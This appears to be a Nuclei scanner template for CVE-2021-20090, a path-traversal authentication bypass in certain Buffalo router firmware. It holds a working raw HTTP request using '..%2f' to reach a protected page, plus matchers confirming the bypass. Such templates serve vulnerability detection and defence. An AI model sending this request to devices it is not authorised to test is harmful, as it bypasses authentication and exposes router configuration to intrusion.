38 lines
1.1 KiB
YAML
38 lines
1.1 KiB
YAML
id: CVE-2021-20090
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info:
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name: Buffalo WSR-2533DHPL2 - Path Traversal
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author: gy741
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severity: critical
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description: |
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A path traversal vulnerability in the web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 could allow unauthenticated remote attackers to bypass authentication.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20090
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- https://www.tenable.com/security/research/tra-2021-13
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- https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
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tags: cve,cve2021,lfi,buffalo,firmware,iot
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.80
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cve-id: CVE-2021-20090
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cwe-id: CWE-22
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requests:
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- raw:
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- |
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GET /images/..%2finfo.html HTTP/1.1
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Host: {{Hostname}}
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Referer: {{BaseURL}}/info.html
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- 'URLToken(cgi_path)'
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- 'pppoe'
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- 'wan'
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condition: and |